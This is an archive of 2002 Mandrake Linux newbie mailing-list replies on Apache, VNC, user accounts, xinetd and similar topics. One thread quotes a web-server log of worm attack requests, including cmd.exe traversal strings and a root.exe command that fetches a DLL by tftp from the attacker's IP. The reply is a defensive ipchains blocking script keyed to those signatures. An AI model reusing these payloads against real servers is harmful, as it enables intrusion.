They will be listed as hda through hdd -- it'll look something like: hda: Maxtor 90645D3, ATA DISK drive hdb: MAXTOR 4K060H3, ATA DISK drive hdc: TOSHIBA CD-ROM XM-6302B, ATAPI CD/DVD-ROM drive hdd: MAXTOR 4K060H3, ATA DISK drive By the way, it's 'df -T' (with a space between the 'df' and the '-T'). The output of this will look something like: FilesystemType 1K-blocks Used Available Use% Mounted on /dev/hda1 ext2 1027768129432846128 14% / none tmpfs 321448 0321448 0% /dev/shm /dev/hdb1 reiserfs58631516 8326104 50305412 15% /home /dev/hdd1 reiserfs58631516 30413992 28217524 52% /isos /dev/hda6 reiserfs 3068280 2593576474704 85% /usr /dev/hda7 reiserfs 1662640131240 1531400 8% /var Type in 'shutdown -h now' (and yes, there is a space between 'shutdown' and '-h' and '-h' and 'now'.) to shutdown your computer. Depending on your security level, you may have to be logged in as root to do so. Michael -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online At 09:35 PM 10/24/2002 -0400, you wrote: At 06:05 PM 10/24/2002 -0700, you wrote: You can do all of it from the login prompt. When you have the prompt, login as root. Keep in mind that you don't have X so you're automatically in console . here's what I get: localhost login: root password: (pw entered) [rootlocalhost root]# (long list of lines, none of which mention hard drives, cd, burner or at least nothing that I recognize as such) followed by: [rootlocalhost root]# dmesg (enter) -bash: df-t: command not found [rootlocalhost root]# By the way, please tell me how to shut down from the root or local prompt without turning off the machine. I've tried quit, exit, q and a whole bunch of familiar shutdown hoepfuls, none of which work. Anyway, as you can see, I'm either not understanding what you are suggesting and not following your advice correctly or something else is happening that isn't supposed to. Thanks Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] tightvnc Way cool!!!!
By the way, the original vnc team has restarted development at http://www.realvnc.com . Michael At 02:27 PM 10/5/2002 +0800, you wrote: Hi Guys, I just got VNC running on my win and lin box's.. I currently have my linux box's desktop running on my windows machine.. This is S cool, and its fast too... I am seriously impressed.. I have some questions though... How secure is this? (I am using big passwords) but I suspect that this is not an encrypted service... Has anyone tunneled it over shh?? if so, was it hard to setup??? also, does using ssh with compression speed things up even more??? any thoughts would be most appreciated. rgds Frank Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] tightvnc Way cool!!!!
Frank, Try these docs as a starting point -- they are for vnc, but should work the same for tightvnc, since they are both pretty much the same -- http://www.uk.research.att.com/vnc/sshvnc.html . Michael -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online At 02:27 PM 10/5/2002 +0800, Franki wrote: Hi Guys, I just got VNC running on my win and lin box's.. I currently have my linux box's desktop running on my windows machine.. This is S cool, and its fast too... I am seriously impressed.. I have some questions though... How secure is this? (I am using big passwords) but I suspect that this is not an encrypted service... Has anyone tunneled it over shh?? if so, was it hard to setup??? also, does using ssh with compression speed things up even more??? any thoughts would be most appreciated. rgds Frank Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Permission problems with Apache
Actually, what he is wanting to do is have one directory per domain, not alias each site directory off of a single domain. In this case, he should have an entry such as: # IP-based Virtual Hosts #VirtualHost 192.168.2.100 #User jmdault #Group jmdault #DocumentRoot /home/jmdault/public_html #ServerName test2.com #Setenv VLOG /home/jmdault/logs #ErrorLogs /home/jmdault/test2-error_log #RewriteEngine On #RewriteOptions inherit #/VirtualHost or possibly: # Named VirtualHosts #NameVirtualHost 111.222.33.44 #VirtualHost 111.222.33.44 #ServerName www.domain.tld #ServerPath /domain #DocumentRoot /web/domain #/VirtualHost in /etc/httpd/conf/vhosts/Vhosts.conf . Michael -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online At 10:09 PM 9/12/2002 -0400, you wrote: [EMAIL PROTECTED] wrote: Maybe I wasn't clear the first time. I am serving about 5 domains using the virtual server capacity of Apache. Rather than putting the sites in the default location, I want them where I choose to put them (/home/asm/html/site1, /home/asm/html/site2, /home/asm/html/site3, etc.) and it is there that I don't seem to be getting the proper permissions set. I've been through the permissions at each level many times. Home is owned by root, group root. asm is owned by asm, group is apache, html and site folders are the same. in order to do what you're talking about you will have to make this entry in your commonhttpd.conf file: Alias /site1/ /home/asm/html/site1/ so on so forth for all the virtuals you're setting up for. if you're also wanting to enable CGI for these directories as well, you will need an entry like this to follow: ScriptAlias /site1/cgi-bin/ /home/asm/html/site1/cgi-bin/ Make these additions to the commonhttpd.conf file and then restart your web server. Also the dir's where the HTML file are stored for access will have to be chod'd to 755 so they're; rwxr-xr-x rwx = user/owner r-x = group r-x = world It may also be helpful if the users owning these home dir's are members of the group apache. This could help you avoid problems down the road. Mark Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: thread hijack! was Re: [newbie] offsite backup
There is actually a port of openssh to windows http://www.networksimplicity.com/openssh/ and there is a guide for setting up an encrypted connection between 2 windows machines http://www.networksimplicity.com/openssh/sftp_rsa_win2k_howto.html . Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online At 08:08 PM 9/10/2002 -0700, you wrote: can windows rsync upload to a linux machine? i do want a lot. I don't know if that's possible. I haven't done much file transfer between windows and Linux. I have done anonymous ftp from windows to linux though. Works just like it's supposed to, although it's not the best way. Two other possibilities exist; one would be a Samba connection between the Windows and Linux machine, and the other would be 'pscp' - a secure remote copying setup. scp et al are derived (or part of) from Open SSH, and the Putty setup (which I use all the time for ssh from windows boxes) is very easy and fits just on a floppy: in fact, all the utilities fit on a floppy. Personally, I have not set things up for pscp yet but that's been on my to do list to get some mp3s and such up from my bro's box, which runs Windows. Of the three, ftp is probably easiest to set up - you may already have it enabled. (best-before dating: is that like best used before installation?) :) Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Mandrake 7.2 to 8.1 update ?
Even better would be to place the /home partition on a completely separate drive from the system drive (on the off chance that your system drive goes bad). Of course, if you don't have a second drive available, then the suggestion below is perfectly fine in most cases. Most servers I've set up have 3 separate hard drives. One is a dedicated system drive, one is a dedicated /home drive, and the other is a dedicated backup drive. I also typically set up remote encrypted backups as quickly as possible. Michael -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online snip If you don't have a serperate /home partition then it would be a good idea to partition your drive so that you do. That way if anything terrible would happen to your installation, such as being mercilessly attacked by the user in such a way that the system gets hosed, then your data files are safe and remain uneffected by the mishap. snip Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] permissions hell
That doesn't really help - but other unices have a 'wheel' but Linux doesn't really have it per se. It can no doubt be added, or even faked, if need be. Actually, linux does have a wheel group, as shown below. mviron@server ~ $ more /etc/group | grep wheel wheel:x:10:root mviron@server ~ $ If you need something owned by root to be accessible to the wheel group, you'd change the settings from root:root to root:wheel. Michael -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] IP address
Actually, he was talking about the '/xx' after the ip, which is typically used to denote the subnet mask of the ip. Michael -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online At 10:23 AM 8/25/2002 EDT, you wrote: People refer to xxx as a wildcard. Its like a range. If you say: 216.x.x.x that means any IP from 216. Its almost like * a wildcard used for most things. My ip address is usually a 172.x.x.x everytime i connect online I get the first 3 numbers, but the rest changes. Wildcard means anything in that IP. In a message dated 8/25/2002 10:19:43 AM Eastern Daylight Time, [EMAIL PROTECTED] writes: Hi All, In some previous posts I have noticed people refering to their IP address range as xxx.xxx.xxx.xxx/xx. Just curious as to what the /xx refers to. Is it some type of range? TIA Frank McKenna Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] vnc
If you want to make changes on a per-user basis, take a look at ~/.vnc/xstartup , which is where the information gets pulled from. Michael -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online http://www.findaschool.org At 01:38 AM 8/21/2002 +0800, you wrote: hi, i forgot to mention that my solution in the previous post is actually changing the default wm for the entire system, so you may want to change it back after you run vncserver, if it affects your system behaviour in my case, i use kdm locally, which doesn't seem to be affected by whatever changes i make to /etc/X11/Xsession. On Tue, 20 Aug 2002 20:16:10 +1000 Colin Jenkins [EMAIL PROTECTED] wrote: Hello Stormjumper, Tuesday, August 20, 2002, 7:49:36 PM, you wrote: S which machine is running the server, S and which machine is running the client? sorry for the confusion, it's been a long day :) yep, the server is running on mandrake, client on winxp, using the latest tightvnc rpms. it works fine if I have kde running, but if I run gnome I still get a kde desktop on windows. If I run any other wn I just get a black screenhad a look at the scripts you mentioned, can't see any vnc related file in /usr/X11R6/bin and /etc/X11/Xsession didnt give me any clues (mind you, I don't have much idea what i'm looking for :) . how do you select which wm you want to use from windows tightvnc client? or is it supposed to run the one which the vnc server starts in? -- Best regards, Colinmailto:[EMAIL PROTECTED] _ ___ ..registered linux user #223862 .. __ ___ Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] swat/telnet not installed
Old habits die hardthe first way I learned to restart a service (when I first started admining a linux box back in 1997), was by typing '/etc/rc.d/init.d/service_name restart'. You can of course, also use 'service service_name restart'. Michael -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online http://www.findaschool.org At 11:06 AM 8/21/2002 -0700, you wrote: excellent! that is exactly what i needed. i have beem messing with xinetd.conf and everything seems ok. when i did a urmpi telnet the telnet-server-krb5 was the only possible rpm it could find. i didn't see a samba-swat tho. maybe i'll have to look online for that rpm. so you would do a /etc/rc.d/init.d/xinet restart instead of service xinet restart? Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Fifth Open Source office suite
Well, staroffice is a sun enhanced version of openoffice, so I don't think you can say they are completely separate, Michael At 08:44 PM 8/13/2002 +0100, you wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I'm surprised nobody's mentioned this, but Gobe Productive is going Open Source 'within the next 90-120 days' (the gap presumably being to get the source code cleaned up :) http://osnews.com/story.php?news_id=1520 http://www.gobe.com/ I've used it before on Windows, and it's _very_ nice - which is no surprise as it has been developed by former AppleWorks programmers. (The four existing suites are StarOffice, OpenOffice.org, KOffice and Hancom Office). Alastair - -- Alastair Scott (London, United Kingdom) http://www.unmetered.org.uk/ -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9WWGMdasIDb/2nMwRAkM3AJ9hJ+a7gkl5zt7vYoCeqF1vAhY3fgCgiDtq fatNzaIRG9gfmZgTw6t5big= =XBB5 -END PGP SIGNATURE- Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Can't block dos attack
Try the script below, which should take care of the problem. Of course, this isn't a dos attack, it's a virus attack (one of the viruses going around attempting to infect an iis server). Which kernel are you using? If it's 2.4.x, iptables is the way to block things out. (in that case let me know, and I'll adapt this to deal with iptables). Michael -- Begin Script -- #!/bin/sh # # Block sites which originate Nimba queries from Apache server # Apache must be configured with HostnameLookups Off # Adapted from an earlier script found on one of the Mandrake lists # Changes by Michael Viron # Last Update: 2/20/2002 LOGS=/var/log/httpd # Change IP to reflect yours. DESTINATION = 192.168.1.1 cd $LOGS grep '^[0-9]*\.[0-9]*\.[0-9]*\.[0-9]* ' * 2/dev/null | awk '/system32\/cmd\.exe/ {sub(/[^:]*:/,);print $1}' | sort -u | while read host do if ! fgrep $host /var/tmp/blocked /dev/null then echo $host /var/tmp/blocked /sbin/ipchains -I input -p tcp -s $host/32 -d $DESTINATION 80 -j DENY echo -A input -p tcp -s $host/32 -d $DESTINATION 80 -j DENY /etc/ipchains.add fi done # Block sites which originate Nimbda queries from Apache server # Apache must be configured with HostnameLookups Off #LOGS=/var/log/httpd #cd $LOGS grep '^[0-9]*\.[0-9]*\.[0-9]*\.[0-9]* ' * 2/dev/null | awk '/scripts\/Admin\.dll/ {sub(/[^:]*:/,);print $1}' | sort -u | while read host do if ! fgrep $host /var/tmp/blocked /dev/null then echo $host /var/tmp/blocked /sbin/ipchains -I input -p tcp -s $host/32 -d $DESTINATION 80 -j DENY echo -A input -p tcp -s $host/32 -d $DESTINATION 80 -j DENY /etc/ipchains.add fi done grep '^[0-9]*\.[0-9]*\.[0-9]*\.[0-9]* ' * 2/dev/null | awk '/MSACD\/Admin\.dll/ {sub(/[^:]*:/,);print $1}' | sort -u | while read host do if ! fgrep $host /var/tmp/blocked /dev/null then echo $host /var/tmp/blocked /sbin/ipchains -I input -p tcp -s $host/32 -d $DESTINATION 80 -j DENY echo -A input -p tcp -s $host/32 -d $DESTINATION 80 -j DENY /etc/ipchains.add fi done grep '^[0-9]*\.[0-9]*\.[0-9]*\.[0-9]* ' * 2/dev/null | awk '/scripts\/root\.exe/ {sub(/[^:]*:/,);print $1}' | sort -u | while read host do if ! fgrep $host /var/tmp/blocked /dev/null then echo $host /var/tmp/blocked /sbin/ipchains -I input -p tcp -s $host/32 -d $DESTINATION 80 -j DENY echo -A input -p tcp -s $host/32 -d $DESTINATION 80 -j DENY /etc/ipchains.add fi done grep '^[0-9]*\.[0-9]*\.[0-9]*\.[0-9]* ' * 2/dev/null | awk '/default\.ida/ {sub(/[^:]*:/,);print $1}' | sort -u | while read host do if ! fgrep $host /var/tmp/blocked /dev/null then echo $host /var/tmp/blocked /sbin/ipchains -I input -p tcp -s $host/32 -d $DESTINATION 80 -j DENY echo -A input -p tcp -s $host/32 -d $DESTINATION 80 -j DENY /etc/ipchains.add fi done cat /etc/ipchains.add /etc/sysconfig/ipchains /etc/rc.d/init.d/ipchains restart rm -f /etc/ipchains.add -- End Script -- At 05:29 PM 7/28/2002 -0700, you wrote: I am getting strange hits to my web server, I don't like it and I wish to know how to stop them from slipping past my defenses. I try using ipchains, most addresses are blocked, but for reasons I can't figure out, this address 65.192.23.150 keeps showing up. I don't understand it, if ipchains, /etc/hosts.deny can't block it, what can? Do I send back a command to shut down their server? How do I get the point accross? 65.192.23.150 - - [28/Jul/2002:17:50:05 -0500] GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 342 - - 65.192.23.150 - - [28/Jul/2002:17:50:05 -0500] GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/s ystem32/cmd.exe?/c+dir HTTP/1.0 404 358 - - 65.192.23.150 - - [28/Jul/2002:17:50:05 -0500] GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 324 - - 65.192.23.150 - - [28/Jul/2002:17:50:06 -0500] GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 324 - - 65.192.23.150 - - [28/Jul/2002:17:50:06 -0500] GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 324 - - 65.192.23.150 - - [28/Jul/2002:17:50:06 -0500] GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 324 - - 65.192.23.150 - - [28/Jul/2002:17:50:07 -0500] GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 400 308 - - 65.192.23.150 - - [28/Jul/2002:17:50:07 -0500] GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 400 308 - - 65.192.23.150 - - [28/Jul/2002:17:50:07 -0500] GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 325 - - 65.192.23.150 - - [28/Jul/2002:17:50:08 -0500] GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 325 - - 65.192.23.150 - - [28/Jul/2002:18:01:34 -0500] GET /scripts/root.exe?/c+dir HTTP/1.0 200 87 - - 65.192.23.150 - - [28/Jul/2002:18:01:34 -0500] GET /scripts/root.exe?/c+tftp%20-i%2065.192.23.150%20GET%20cool.dll%20httpodbc. dll HTTP/1.0 200 87 - - 65.192.23.150 - - [28/Jul/2002:18:01:35 -0500] GET /scripts/httpodbc.dll HTTP/1.0 404 307 - - 65.192.23.150 - - [28/Jul/2002:18:01:35 -0500] GET
Re: [newbie] beta 9.0
You can find the opensource release at http://tuxracer.sourceforge.net/ . Michael At 04:50 PM 7/24/2002 -0400, you wrote: On Wednesday 24 July 2002 04:21 pm, you wrote: Hi, I don't know if any of you out there have installed the 9.0 Beta, but I have, because I love to tinker with new things. I thought I might be a beta tester. Anyway, does anyone know why tuxracer did not come with the beta? That is one of my fav games. Thanks, John Drouhard P.S. from what I have done so far, Mandrake 9 is not very buggy. Only a couple bugs, maybe. I don't know why the older version isn't included, but it is now a commercial game. If you want it, you can buy it. Or try getting the last free release to work. -- D. Olson The Mandrake eXPerience http://mdkxp.by-a.com/ MUB-NWN http://nwn.by-a.com/ WinXP - the best thing since induced vomitting. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] debugging, compiling, building, and executing c files
To start, please try not to send html text, as most people will tend to ignore it. Also, you don't need to have the font at 16 or 18 pt, as most people can see either 10 or 12 pt. Anyways, to use make you must create a makefile. If you don't have one, it will return make: nothing to be done for whatever.c. Do a google search on makefiles, and you should be able to find a tutorial or howto on makefiles. Michael -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online http://www.findaschool.org At 11:07 PM 7/16/2002 -0400, Aru Sahni wrote: After much trial and error on my md box, I gave up on emacs, and decided to use the 'gcc' and 'make' commands in the terminal window. I have successfully managed to use gcc to debug, but am not able to use 'make'. size=4 When I type: $ make /home/aru/prog/weekone/2-17.c size=4 The program returns: make: nothing to be done for '/home/aru/prog/weekone/2-17.c' size=4 I gained nothing from typing: $ make --help size=4 Also, after the file is made, how do I run it? This is kinda important for my class, so If you can help, please do so! -Aru Sahni Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Anybody running the distributed net client?
Are you running this as root? If you are not, you'll get that error, as /etc/rc.d/init.d/ is owned by root (and rightly so). Michael -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online http://www.findaschool.org At 04:54 PM 7/15/2002 -0400, you wrote: On Monday 15 July 2002 04:46 pm, you wrote: Looks like I'll have to keep trying: dnetc: Unable to create/write /etc/rc.d/init.d/dnetc: Permission denied On Monday 15 July 2002 05:30 pm, you wrote: Thanks, I'll give that a try. add a ./ before the command. -Original Message- newbie-knucklehead trick? Glenn Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
RE: [newbie] Apache DocumentRoot
Actually, in 8.2, you change the DocumentRoot Setting at the top of /etc/httpd/conf/httpd.conf not commonhttpd.conf . The next thing you have to do, is in commonhttpd.conf, you need to change this set of lines: # # This should be changed to whatever you set DocumentRoot to. # Directory /var/www/html # # This may also be None, All, or any combination of Indexes, # Includes, FollowSymLinks, ExecCGI, or MultiViews. # # Note that MultiViews must be named *explicitly* --- Options All # doesn't give it to you. # Options -Indexes FollowSymLinks MultiViews # # This controls which options the .htaccess files in directories can # override. Can also be All, or any combination of Options, FileInfo, # AuthConfig, and Limit # AllowOverride All # # Controls who can get stuff from this server. # Order allow,deny Allow from all /Directory If the directory does not have one of the following files (by default), you will get an access forbidden error (since the default configuration disallows directory browsing) DirectoryIndex index.html index.php index.php3 index.shtml index.cgi index.pl index.htm Default.htm default.htm Of course, after making any changes you must restart apache (by doing /etc/rc.d/init.d/httpd restart without the quotes) These are all guesses as to what's causing the problem. Since you've not posted what's in your error_log file (in /var/log/httpd), it's difficult to say whether it is a permissions problem or an apache configuration problem. If you could send something to the list as to what is showing up in your error_log file (a few lines, preferably), I'm sure you'll get much more specific feedback as to what the problem is. Michael -- Michael Viron Project Manager / Primary Developer / Online Operations Manager General Education Online http://www.findaschool.org/ At 08:45 PM 7/7/2002 +0930, you wrote: Thanks for the info, never really thought about looking at the commonhttpd.conf file, however my problem still occurs... I guess my question comes down to this What are the permission/ownership requirements of DocumentRoot directories??? Cheers, Shannon -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] On Behalf Of Todd Slater Sent: Sunday, 7 July 2002 00:37 To: [EMAIL PROTECTED] Subject: Re: [newbie] Apache DocumentRoot On Sun, 7 Jul 2002 00:12:26 +0930 Shannon [EMAIL PROTECTED] wrote: Hi There people, I just installed Mandrake 8.2 onto my new server and as part of that install I installed the default Apache Server Apache-AdvancedExtranetServer 1.3.23 I have tried changing the default DocumentRoot setting to something other than /var/www however whenever I do this I always get a Forbidden error when attempting to access the pages in the new DocumentRoot. I have played around by chmod'ing the new dir to increasingly higher levels of permissions however the error still appears. This not only applies to the default website on this server, but any Virtual Hosts that I Include in the httpd.conf file through the Include tag give the same result. Can anyone shed some light as to how I would get a new DocumentRoot setting to function correctly. Kind regards, Shannon Hmm, I put my virtual hosts info in /etc/httpd/conf/vhosts/Vhosts.conf, and specify document root in /etc/httpd/conf/commonhttpd.conf. What did you chmod your new root folder to? Did you stop and restart httpd? Could you access your site before you changed the root directory? Todd -- Todd Slater I am entirely certain that twenty years from now we will look back at education as it is practiced in most schools today and wonder that we could have tolerated anything so primitive. (John W. Gardner) Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
RE: [newbie] Basic www server configuration
You could do this, which would allow it to resolve only internally (from the local machine), or you could talk to whoever is handling dns for your domain and get it done correctly. Michael -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online http://www.findaschool.org At 05:09 PM 6/21/2002 +0100, you wrote: content-class: urn:content-classes:message Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit You need to set it up in your hosts file. 127.0.0.1 localhost www.myhost.mydoamin -Original Message- From: Ignacio Horcas [mailto:[EMAIL PROTECTED]] Sent: Friday, June 21, 2002 5:06 PM To: [EMAIL PROTECTED] Subject: [newbie] Basic www server configuration Hi to all, I am trying to set up a web server. I have installed it and I can see my web page connecting to myhost.mydomain What I would like is to connect to my host in the address www.myhost.mydomain I installed Apache server in the Mandrake 8.2 distribution while installing the whole linux system. Thanks in advance, Ignacio Horcas -+-+-+-+-+-+-+- Business Computer Projects - Disclaimer -+-+-+-+-+-+-+- This message, and any associated attachment is confidential. If you have received it in error, please delete it from your system, do not use or disclose the information in any way, and notify me immediately. The contents of this message may contain personal views which are not necessarily the views of Business Computer Projects Ltd, unless specifically stated. Whilst every effort has been made to ensure that emails and their attachments are virus free, it is the responsibility of the recipient(s) to verify the integrity of such emails. Business Computer Projects Ltd BCP House 151 Charles Street Stockport Cheshire SK1 3JY Tel: +44 (0)161 355-3000 Fax: +44 (0)161 355-3001 Web: http://www.bcpsoftware.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] changing UID name?
The easiest way is to take a look at /etc/passwd, /etc/shadow, /etc/group, and /etc/gshadow. In order to correctly switch everything over, you will have to remove the original login, either via the command line (ie, vi / joe / emacs, etc), or via a GUI based administration tool (such as linuxconf, userdrake, etc). It sounds like you added another separate user, rather than editing the existing user account. If that's the case the above method will work. If you do not have an entry in /etc/passwd for her current (correct login), you'll have to add that, as well as add her to any groups she was part of before. In the future, if you need to make changes to their username (login) or to their home directory, it is much easier to do something along these lines: 1. As root, move their existing home directory to the new username. (ie, if you are changing it from bharris to bcarter, you'd do cd /home, then type mv bharris bcarter (without the quotes) 2. Next, you'd edit the line in passwd for bharris, changing bharris to bcarter and changing the home directory 3. Change the line in /etc/shadow. 4. Change anything necessary in /etc/group and /etc/gshadow. Michael At 06:16 PM 6/13/2002 -0700, you wrote: i just mistakenly added a user with an incorrect logon. I think I changed that. Her logon and home directory are correctly named now but I notice that when I look at /etc/group, where I added her to a group I created, it also shows her listed up above with only the original logon name. Also there is only one UID for her listed and it is listed with her original logon name. In other words, I do not have everything changed over to her new logon. How can I change her UID to her new logon name so it shows up consistently everywhere? And what are some commands that I can use to see that all this info associated with her logon is correct? Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
[newbie] test
been having some problems lately with posts not showing on the list. Michael Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] permission denied
Actually, you do not need to be root to read resolv.conf (I can read it just fine as a normal user), you need to be root in order to make changes to it. Michael -- Michael Viron Core System Administration Team, Simple End User Linux At 10:37 AM 6/1/2002 -0400, you wrote: you need a space between the t in cat and the /in /etc. you need to be root. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Slightly OT Mandrake stock
Femme, As you said Linux has come a long way, but I do not think that it is that far away from being an option for the desktop. Keep in mind that Corel Linux OS (before Corel spun it off as Xandros (http://www.xandros.net/)), hid virtually all configuration behind the scenes (including partitioning) and featured a desktop that looked very close to MS. Mandrake also is very close. Just about everything you could possibly want to configure can be done via GUI programs. Want to install something? There is rpmdrake (specifically created by Mandrake), as well as Gnome and KDE equivalents. Want to browse the web? You can choose from Netscape, Mozilla, Konquerer, etc. Want to configure your system? You can do it via Mandrake Control Center, Linuxconf, or any one of a number of GUI based configuration tools. Want to read e-mail? Try K-Mail, Evolution, or any of the other GUI items out there. This is a far cry from Slackware 2.x and 3.x, which pretty much required you to hand-compile everything, and which had no way of knowing whether a dependency was installed or compiled without running a configure from the command line. Heck, the default kernel in Slackware 2.x and 3.x did not include networking by default, so if you even wanted to access the internet you had to recompile from scratch -- configuring it via a text based question / answer. In mandrake (as well as several other distros), the dependencies (for the most part) are take care of automatically. You are, of course, entitled to your opinion. But, believe me, things could be a lot more tech oriented then they are now. Michael -- Michael Viron Project Manager / Primary Developer, General Education Online Core System Administration Team, Simple End User Linux At 03:44 PM 5/29/2002 -0600, you wrote: Tom Brinkman wrote: On Wednesday 29 May 2002 11:13 am, Dave Conroy wrote: It's only a matter of time before lot'sa people will need to unlearn Windows, and learn somethin else. Specially with M$'s new fangled SA programs (price gouging scams), and the horrific security holes that all M$ OS's and software feature. -- Tom BrinkmanCorpus Christi, Texas a) won't happen soon enough b) won't happen. Why? Because linux will never be a desktop OS for the masses IMO. Requires too much tech knowledge and most just want their machine to work. Shrugs, My opinion. I know its come a long way but its still got a longer way to go yet. -- Femme Good Decisions You boss Made: We'll do as you suggest and go with Linux. I've always liked that character from Peanuts. - Source: Dilbert Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] - inetd.conf file?
Actually, this has nothing to do with the version of the kernel you are running--it has to do with the version of the distro you are running. Inetd was replaced by xinetd in Mandrake 7.2, relevant files include /etc/xinetd.conf, and the directory /etc/xinetd.d/ . Michael Viron -- Michael Viron Core Systems Administration Team Simple End User Linux At 03:15 PM 5/14/2002 -0400, you wrote: On Tuesday 14 May 2002 03:07 pm, Schwenk, Jeanie wrote: Why is there no /etc/inetd.conf file? Is it kept somewhere else or do I have to make one from scratch? Its xinetd in the 2.4.x kernels /etc/xinetd.conf -- Gerald Waugh http://www.frontstreetnetworks.com :: Phone. [011] 203.785.0699 Front Street Networks LLC | SOHO Networks Web Site Hosting 229 Front Street, Ste. #C, New Haven, CT, 06513-3203 United States Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] deny access to su
I'm not saying that it's the best way to do things, but they did ask if it was possible It's much better to have users you trust on your box then to have ones you don't. Actually, the below is only part of the answerthere is something in the shells that can be done to ignore any executables under a user directory, for example...I've never actually done it, but I've been on servers that were set up that way. Michael -- Michael Viron Core Systems Administration Team Simple End User Linux At 01:21 PM 5/14/2002 -0700, you wrote: Michael Viron wrote: Change the group ownership on su to root:wheel . Next, remove execute permission from other on su. I have to say I find this option kind of puzzling. What's the rationale exactly? Why couldn't an opponent who knew the root pword just execute his *own* copy of su? It seems it would have nuisance value at best. Not that nuisance value couldn't be of some practical use, provided the security admin doesn't think it's a substitute for safeguarding passwords. Or maybe it's to prevent *inadvertant* rather than malicious damage? Something like: People in our group might find out the root pword and be tempted to su to quick-fix some difficulty they're having, then they might break something and we wouldn't know who was responsible, so we'll just remove the temptation? I guess that makes a certain amount of sense, but it's not terribly flattering to your coworkers. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
RE: [newbie] - inetd.conf file?
